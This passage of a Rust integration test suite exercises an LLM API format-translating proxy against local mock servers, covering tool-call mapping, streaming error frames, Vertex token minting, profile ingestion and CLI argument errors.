"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-responses-stream-tools.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-responses-stream-tools"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","stream":true,"input":"weather Paris","tools":[{"type":"function","name":"get_weather","parameters":{"type":"object","properties":{"city":{"type":"string"}}}}]}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("event: response.output_item.done"),
"dest Responses stream tools must emit output_item.done, got: {resp}"
);
let done_item = resp
.split("event: response.output_item.done")
.nth(1)
.unwrap_or("");
assert!(
done_item.contains("\"name\":\"get_weather\"")
&& done_item.contains("Paris")
&& done_item.contains("\"call_id\":\"call_1\""),
"dest Responses output_item.done must keep the function_call item, got: {resp}"
);
}
#[test]
fn proxy_dest_gemini_function_response_matches_tool_call_id() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]);
let body_start = req.find("\r\n\r\n").map(|i| i + 4).unwrap_or(0);
let up: serde_json::Value =
serde_json::from_str(&req[body_start..]).expect("upstream json");
let call_id = up
.pointer("/messages/1/tool_calls/0/id")
.and_then(serde_json::Value::as_str);
let result_id = up
.pointer("/messages/2/tool_call_id")
.and_then(serde_json::Value::as_str);
assert_eq!(
call_id, result_id,
"dest Gemini functionResponse must reuse the functionCall id, got: {req}"
);
let body = r#"{"id":"1","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"sunny"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-from-gemini-tool-result.toml",
&format!(
r#"
schema_version = 1
id = "chat-from-gemini-tool-result"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"weather Paris"}]},{"role":"model","parts":[{"functionCall":{"name":"get_weather","args":{"city":"Paris"}}}]},{"role":"user","parts":[{"functionResponse":{"name":"get_weather","response":{"content":"sunny 22C"}}}]}],"tools":[{"functionDeclarations":[{"name":"get_weather","parameters":{"type":"object","properties":{"city":{"type":"string"}}}}]}]}"#;
let req = format!(
"POST /v1beta/models/gemini-2.5-flash:generateContent HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("HTTP/1.1 200") && resp.contains("sunny"),
"dest Gemini tool-result follow-up must remap, got: {resp}"
);
}
#[test]
fn proxy_eventstream_exception_is_sse_data() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = wiremux::stream::encode_eventstream_exception(
"validationException",
br#"{"message":"The provided model identifier is invalid."}"#,
);
let header = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/vnd.amazon.eventstream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n",
body.len()
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.write_all(&body);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"bedrock-eventstream-exc.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-eventstream-exc"
wire = "converse"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"amazon.nova-lite-v1:0","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("data:"),
"Event Stream exception must be an SSE data frame, got: {resp}"
);
assert!(
resp.contains("validationException") && resp.contains("model identifier"),
"must surface exception type and message, got: {resp}"
);
}
#[test]
fn proxy_gemini_error_chunk_is_sse_data() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body =
"data: {\"error\":{\"code\":400,\"message\":\"INVALID_ARGUMENT: bad fileUri\"}}\n\n";
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"gemini-error-sse.toml",
&format!(
r#"
schema_version = 1
id = "gemini-error-sse"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1beta/models/{{model}}:generateContent"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"gemini-2.5-flash","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("data:"),
"Gemini decode HardError must be an SSE data frame, got: {resp}"
);
assert!(
resp.contains("INVALID_ARGUMENT")
|| resp.contains("bad fileUri")
|| resp.contains("hard-error at error:"),
"must surface vendor error text, got: {resp}"
);
}
#[test]
fn proxy_upstream_stream_error_is_sse_data() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let header = concat!(
"HTTP/1.1 200 OK\r\n",
"Content-Type: text/event-stream\r\n",
"Content-Length: 4096\r\n",
"Connection: close\r\n",
"\r\n",
"d",
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.flush();
let _ = stream.shutdown(std::net::Shutdown::Write);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"gemini-stream-err.toml",
&format!(
r#"
schema_version = 1
id = "gemini-stream-err"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1beta/models/{{model}}:generateContent"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"gemini-2.5-flash","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("data:"),
"upstream stream transport error must be an SSE data frame, got: {resp}"
);
assert!(
resp.contains("upstream stream"),
"must name the stream transport context, got: {resp}"
);
}
#[test]
fn proxy_same_dialect_upstream_stream_error_is_sse_data() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let header = concat!(
"HTTP/1.1 200 OK\r\n",
"Content-Type: text/event-stream\r\n",
"Content-Length: 4096\r\n",
"Connection: close\r\n",
"\r\n",
"d",
);
let _ = stream.write_all(header.as_bytes());
let _ = stream.flush();
let _ = stream.shutdown(std::net::Shutdown::Write);
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"messages-stream-err.toml",
&format!(
r#"
schema_version = 1
id = "messages-stream-err"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","max_tokens":16,"stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("data:"),
"same-dialect upstream stream transport error must be an SSE data frame, got: {resp}"
);
assert!(
resp.contains("upstream stream"),
"must name the stream transport context, got: {resp}"
);
}
#[test]
fn proxy_vertex_reuses_provider_and_mints_once() {
use std::sync::Arc;
use std::sync::atomic::AtomicU64;
let hits = Arc::new(AtomicU64::new(0));
let token_hits = Arc::clone(&hits);
let token_srv = TcpListener::bind("127.0.0.1:0").expect("token bind");
let token_addr = token_srv.local_addr().expect("addr");
token_srv.set_nonblocking(true).expect("token nonblocking");
let stop = Arc::new(AtomicU64::new(0));
let stop_flag = Arc::clone(&stop);
let token_thread = std::thread::spawn(move || {
let deadline = Instant::now() + Duration::from_secs(8);
while stop_flag.load(Ordering::Relaxed) == 0 && Instant::now() < deadline {
match token_srv.accept() {
Ok((mut stream, _)) => {
token_hits.fetch_add(1, Ordering::Relaxed);
stream.set_nonblocking(false).ok();
stream.set_read_timeout(Some(Duration::from_secs(2))).ok();
stream.set_write_timeout(Some(Duration::from_secs(2))).ok();
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body =
r#"{"access_token":"ya29.once","expires_in":3600,"token_type":"Bearer"}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
}
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(20));
}
Err(_) => break,
}
}
});
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
upstream
.set_nonblocking(true)
.expect("upstream nonblocking");
let upstream_thread = std::thread::spawn(move || {
let mut seen = Vec::new();
let deadline = Instant::now() + Duration::from_secs(8);
while seen.len() < 2 && Instant::now() < deadline {
match upstream.accept() {
Ok((mut stream, _)) => {
stream.set_nonblocking(false).ok();
stream.set_read_timeout(Some(Duration::from_secs(2))).ok();
stream.set_write_timeout(Some(Duration::from_secs(2))).ok();
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
seen.push(String::from_utf8_lossy(&buf[..n]).into_owned());
let body = r#"{"candidates":[{"content":{"parts":[{"text":"ok"}]},"finishReason":"STOP"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
}
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(20));
}
Err(_) => break,
}
}
seen
});
let (home, mut cmd) = isolated_home();
let adc_path = home.path().join("adc.json");
std::fs::write(
&adc_path,
format!(
r#"{{"type":"authorized_user","client_id":"123.apps.googleusercontent.com","client_secret":"user-secret","refresh_token":"1//refresh-me","token_uri":"http://{token_addr}/token"}}"#
),
)
.expect("write adc");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"vertex-mint.toml",
&format!(
r#"
schema_version = 1
id = "vertex-mint"
wire = "gemini"
auth_scheme = "bearer"
base_url = "http://{upstream_addr}"
chat_path = "/v1/projects/p/locations/us/publishers/google/models/{{model}}:generateContent"
gcp_key_env = "GOOGLE_APPLICATION_CREDENTIALS"
"#
),
);
let mut child = cmd
.env("GOOGLE_APPLICATION_CREDENTIALS", &adc_path)
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gemini-2.0-flash","stream":false,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
for _ in 0..2 {
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
assert!(
resp.contains("ok") || resp.contains("chat.completion"),
"vertex proxy request failed: {resp}"
);
}
let _ = child.kill();
let _ = child.wait();
stop.store(1, Ordering::Relaxed);
let _ = token_thread.join();
let seen = upstream_thread.join().expect("upstream");
assert_eq!(seen.len(), 2, "two upstream calls, got {seen:?}");
assert_eq!(
hits.load(Ordering::Relaxed),
1,
"Vertex ADC must mint once per token lifetime, not per request"
);
}
fn http_head_and_body(resp: &[u8]) -> (String, Vec<u8>) {
let sep = resp
.windows(4)
.position(|w| w == b"\r\n\r\n")
.expect("http header terminator");
let head = String::from_utf8_lossy(&resp[..sep]).into_owned();
let raw = &resp[sep + 4..];
let body = if head
.to_ascii_lowercase()
.contains("transfer-encoding: chunked")
{
decode_chunked(raw)
} else {
raw.to_vec()
};
(head, body)
}
fn decode_chunked(mut raw: &[u8]) -> Vec<u8> {
let mut out = Vec::new();
while !raw.is_empty() {
let Some(nl) = raw.windows(2).position(|w| w == b"\r\n") else {
break;
};
let size_line = std::str::from_utf8(&raw[..nl]).unwrap_or("");
let size = usize::from_str_radix(size_line.trim(), 16).unwrap_or(0);
raw = &raw[nl + 2..];
if size == 0 {
break;
}
if raw.len() < size {
break;
}
out.extend_from_slice(&raw[..size]);
raw = &raw[size..];
if raw.starts_with(b"\r\n") {
raw = &raw[2..];
}
}
out
}
fn eventstream_raw_payloads(mut raw: &[u8]) -> Vec<serde_json::Value> {
let mut out = Vec::new();
while raw.len() >= 16 {
let total = u32::from_be_bytes(raw[0..4].try_into().expect("total")) as usize;
if total < 16 || total > raw.len() {
break;
}
let headers_len = u32::from_be_bytes(raw[4..8].try_into().expect("headers")) as usize;
let start = 12usize.saturating_add(headers_len);
let end = total.saturating_sub(4);
if start < end
&& end <= raw.len()
&& let Ok(value) = serde_json::from_slice(&raw[start..end])
{
out.push(value);
}
raw = &raw[total..];
}
out
}
fn eventstream_frames(body: &[u8]) -> Vec<wiremux::stream::RawSse> {
let mut reader = wiremux::stream::EventStreamReader::new();
let (mut frames, err) = reader.feed(body).expect("eventstream feed");
assert!(err.is_none(), "{err:?}");
if let Some(last) = reader.finish().expect("eventstream finish") {
frames.push(last);
}
frames
}
fn read_listen_addr(stdout: &mut impl Read) -> std::net::SocketAddr {
let deadline = Instant::now() + Duration::from_secs(5);
let mut buf = Vec::new();
let mut byte = [0u8; 1];
while Instant::now() < deadline {
match stdout.read(&mut byte) {
Ok(1) => {
buf.push(byte[0]);
if byte[0] == b'\n' {
let line = String::from_utf8_lossy(&buf);
if let Some(addr) = line
.split_whitespace()
.rev()
.find_map(|tok| tok.trim().parse::<std::net::SocketAddr>().ok())
{
return addr;
}
buf.clear();
}
}
Ok(0) => break,
Ok(_) => {}
Err(err) if err.kind() == std::io::ErrorKind::WouldBlock => {
std::thread::sleep(Duration::from_millis(20));
}
Err(_) => std::thread::sleep(Duration::from_millis(20)),
}
}
panic!(
"proxy did not print a listen address; got: {}",
String::from_utf8_lossy(&buf)
);
}
const INGEST_FIXTURE: &str = r#"
{
"groq": {
"id": "groq",
"name": "Groq",
"env": ["GROQ_API_KEY"],
"npm": "@ai-sdk/groq"
},
"deepseek": {
"id": "deepseek",
"name": "DeepSeek",
"env": ["DEEPSEEK_API_KEY"],
"npm": "@ai-sdk/openai-compatible",
"api": "https://api.deepseek.com"
},
"azure": {
"id": "azure",
"name": "Azure",
"env": ["AZURE_API_KEY"],
"npm": "@ai-sdk/azure"
}
}
"#;
#[test]
fn profile_ingest_from_file_writes_user_dir() {
let scratch = unique_scratch();
let catalog = scratch.join("catalog.json");
std::fs::write(&catalog, INGEST_FIXTURE).expect("catalog");
let dest = scratch.join("profiles");
let (_home, mut cmd) = isolated_home();
let out = cmd
.args([
"profile",
"ingest",
"--from-file",
catalog.to_str().expect("utf8"),
"--vendor",
"groq",
"--vendor",
"deepseek",
"--force",
"--dir",
dest.to_str().expect("utf8"),
])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(stdout.contains("wrote"), "{stdout}");
let groq = std::fs::read_to_string(dest.join("groq.toml")).expect("groq");
assert!(groq.contains("id = \"groq\""));
assert!(groq.contains("https://api.groq.com"));
assert!(groq.contains("/openai/v1/chat/completions"));
let (_home, mut list) = isolated_home();
list.env("WIREMUX_PROFILE_DIR", &dest);
let listed = list.args(["profile", "list"]).output().expect("list");
assert_eq!(listed.status.code(), Some(0), "{:?}", listed);
let ids = String::from_utf8_lossy(&listed.stdout);
assert!(ids.contains("groq"), "{ids}");
assert!(ids.contains("deepseek"), "{ids}");
}
#[test]
fn profile_ingest_litellm_missing_shipped_id_is_not_in_catalog() {
let scratch = unique_scratch();
let catalog = scratch.join("litellm.json");
std::fs::write(
&catalog,
r#"{
"publicai": {
"base_url": "https://api.publicai.co/v1",
"api_key_env": "PUBLICAI_API_KEY"
}
}"#,
)
.expect("catalog");
let dest = scratch.join("profiles");
let (_home, mut cmd) = isolated_home();
let out = cmd
.args([
"profile",
"ingest",
"--source",
"litellm",
"--from-file",
catalog.to_str().expect("utf8"),
"--vendor",
"groq",
"--dry-run",
"--dir",
dest.to_str().expect("utf8"),
])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(1), "{:?}", out);
let err = String::from_utf8_lossy(&out.stderr);
assert!(err.contains("groq"), "{err}");
assert!(err.contains("not in catalog"), "{err}");
assert!(
!err.contains("already shipped"),
"catalog miss must win over shipped skip, got {err}"
);
}
#[test]
fn profile_ingest_writes_azure_deployment_template() {
let scratch = unique_scratch();
let catalog = scratch.join("catalog.json");
std::fs::write(
&catalog,
r#"{
"azure": {
"id": "azure",
"name": "Azure",
"env": ["AZURE_RESOURCE_NAME", "AZURE_API_KEY"],
"npm": "@ai-sdk/azure"
}
}"#,
)
.expect("catalog");
let dest = scratch.join("profiles");
let (_home, mut cmd) = isolated_home();
let out = cmd
.args([
"profile",
"ingest",
"--from-file",
catalog.to_str().expect("utf8"),
"--vendor",
"azure",
"--dir",
dest.to_str().expect("utf8"),
])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(0), "{:?}", out);
let body = std::fs::read_to_string(dest.join("azure.toml")).expect("azure");
assert!(body.contains("deployments/{model}/chat/completions"));
assert!(body.contains("header:api-key"));
}
fn run_map(args: &[&str], stdin_body: Option<&[u8]>) -> std::process::Output {
let (_home, mut cmd) = isolated_home();
cmd.args(args).stdout(Stdio::piped()).stderr(Stdio::piped());
if stdin_body.is_some() {
cmd.stdin(Stdio::piped());
}
let mut child = cmd.spawn().expect("spawn map");
if let Some(body) = stdin_body {
child
.stdin
.as_mut()
.expect("stdin")
.write_all(body)
.expect("write stdin");
}
child.wait_with_output().expect("wait map")
}
#[test]
fn map_chat_stdin_to_messages_prints_body() {
let out = run_map(
&["map", "--from", "chat", "--to", "messages", "-"],
Some(br#"{"model":"gpt-4o","messages":[{"role":"user","content":"ping"}]}"#),
);
assert_eq!(out.status.code(), Some(0), "{out:?}");
let stdout = String::from_utf8(out.stdout).expect("utf8");
let parsed: serde_json::Value = serde_json::from_str(stdout.trim()).expect(&stdout);
assert!(parsed["messages"].is_array(), "{stdout}");
assert!(parsed.get("max_tokens").is_some(), "{stdout}");
assert!(stdout.contains("ping"), "{stdout}");
}
#[test]
fn map_same_wire_messages_keeps_forced_tool_on_opus_55() {
let out = run_map(
&["map", "--from", "messages", "--to", "messages", "-"],
Some(
br#"{"model":"claude-opus-5-5","max_tokens":16,"tool_choice":{"type":"tool","name":"get_weather","disable_parallel_tool_use":true},"messages":[{"role":"user","content":"hi"}]}"#,
),
);
assert_eq!(out.status.code(), Some(0), "{out:?}");
let stdout = String::from_utf8(out.stdout).expect("utf8");
let body: serde_json::Value = serde_json::from_str(stdout.trim()).expect(&stdout);
assert_eq!(body["tool_choice"]["type"], "tool", "{stdout}");
assert_eq!(body["tool_choice"]["name"], "get_weather", "{stdout}");
assert_eq!(
body["tool_choice"]["disable_parallel_tool_use"], true,
"{stdout}"
);
let err = String::from_utf8_lossy(&out.stderr);
assert!(
!err.contains("model forces tool_choice auto"),
"same-wire map must leave the forced tool, got {err}"
);
}
#[test]
fn map_chat_forced_tool_on_opus_55_prints_auto() {
let out = run_map(
&["map", "--from", "chat", "--to", "messages", "-"],
Some(
br#"{"model":"claude-opus-5-5","max_tokens":16,"messages":[{"role":"user","content":"hi"}],"tool_choice":{"type":"function","function":{"name":"get_weather"}},"parallel_tool_calls":false}"#,
),
);
assert_eq!(out.status.code(), Some(0), "{out:?}");
let stdout = String::from_utf8(out.stdout).expect("utf8");
let body: serde_json::Value = serde_json::from_str(stdout.trim()).expect(&stdout);
assert_eq!(body["tool_choice"]["type"], "auto", "{stdout}");
assert!(body["tool_choice"].get("name").is_none(), "{stdout}");
assert_eq!(
body["tool_choice"]["disable_parallel_tool_use"], true,
"{stdout}"
);
assert!(
!stdout.contains("model forces tool_choice auto"),
"{stdout}"
);
let err = String::from_utf8_lossy(&out.stderr);
assert!(
err.contains("degrade sampling.tool_choice: model forces tool_choice auto"),
"{err}"
);
}
#[test]
fn map_reads_a_request_file() {
let dir = unique_scratch();
let path = dir.join("chat.json");
std::fs::write(
&path,
r#"{"model":"gpt-4o","messages":[{"role":"user","content":"ping"}]}"#,
)
.expect("request");
let out = run_map(
&[
"map",
"--from",
"chat-completions",
"--to",
"messages",
path.to_str().expect("utf8"),
],
None,
);
assert_eq!(out.status.code(), Some(0), "{out:?}");
let stdout = String::from_utf8(out.stdout).expect("utf8");
assert!(stdout.contains("max_tokens"), "{stdout}");
assert!(stdout.contains("messages"), "{stdout}");
}
#[test]
fn map_invalid_json_exits_1_without_a_body() {
let out = run_map(&["map", "--from", "messages", "--to", "chat"], Some(b"{"));
assert_eq!(out.status.code(), Some(1), "{out:?}");
assert!(out.stdout.is_empty(), "{out:?}");
let err = String::from_utf8_lossy(&out.stderr);
assert!(
err.to_lowercase().contains("json") || err.contains("invalid"),
"{err}"
);
}
#[test]
fn map_unknown_dest_names_the_to_flag() {
let out = run_map(&["map", "--from", "chat", "--to", "nope"], None);
assert_eq!(out.status.code(), Some(1), "{out:?}");
let err = String::from_utf8_lossy(&out.stderr);
assert!(err.contains("--to"), "{err}");
assert!(!err.contains("--from"), "{err}");
}
#[test]
fn map_unknown_source_names_the_from_flag() {
let out = run_map(&["map", "--from", "nope", "--to", "chat"], None);
assert_eq!(out.status.code(), Some(1), "{out:?}");
let err = String::from_utf8_lossy(&out.stderr);
assert!(err.contains("unknown --from `nope`"), "{err}");
assert!(!err.contains("--to"), "{err}");
}
#[test]
fn proxy_missing_profile_does_not_hide_listen_or_timeout() {
let (_home, mut cmd) = isolated_home();
let listen = cmd
.args([
"proxy",
"--listen",
"127.0.0.1",
"--from",
"chat",
"--profile",
"no-such-profile-id",
])
.output()
.expect("run");
assert_eq!(listen.status.code(), Some(1), "{listen:?}");
let err = String::from_utf8_lossy(&listen.stderr);
assert!(
err.contains("127.0.0.1:<port>"),
"missing profile must not hide the listen address, got {err}"
);
assert!(
!err.contains("not found"),
"listen error is first, got {err}"
);
let (_home, mut cmd) = isolated_home();
let timeout = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:9",
"--from",
"chat",
"--profile",
"no-such-profile-id",
"--read-timeout-secs",
"0",
])
.output()
.expect("run");
assert_eq!(timeout.status.code(), Some(1), "{timeout:?}");
let err = String::from_utf8_lossy(&timeout.stderr);
assert!(
err.contains("--read-timeout-secs must be greater than 0"),
"{err}"
);
assert!(!err.contains("not found"), "{err}");
let (_home, mut cmd) = isolated_home();
let both = cmd
.args([
"proxy",
"--listen",
"127.0.0.1",
"--from",
"chat",
"--profile",
"no-such-profile-id",
"--read-timeout-secs",
"0",
])
.output()
.expect("run");
let err = String::from_utf8_lossy(&both.stderr);
assert!(
err.contains("127.0.0.1:<port>"),
"a bad listen address wins over the timeout, got {err}"
);
assert!(!err.contains("--read-timeout-secs"), "{err}");
}
#[test]
fn proxy_read_timeout_zero_exits_before_listen() {
let (_home, mut cmd) = isolated_home();
let out = cmd
.args([
"proxy",
"--from",
"chat",
"--profile",
"ollama",
"--read-timeout-secs",
"0",
])
.output()
.expect("run");
assert_eq!(out.status.code(), Some(1), "{out:?}");
let err = String::from_utf8_lossy(&out.stderr);
assert!(
err.contains("--read-timeout-secs must be greater than 0"),
"{err}"
);
let stdout = String::from_utf8_lossy(&out.stdout);
assert!(
!stdout.contains("listening"),
"zero timeout must not bind, got {stdout}"
);
}
#[test]
fn proxy_logs_upstream_connect_failure() {
let dir = unique_scratch();
let profile = write_profile(
&dir,
"down.toml",
r#"
schema_version = 1
id = "down"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://127.0.0.1:1"
chat_path = "/v1/chat/completions"
"#,
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
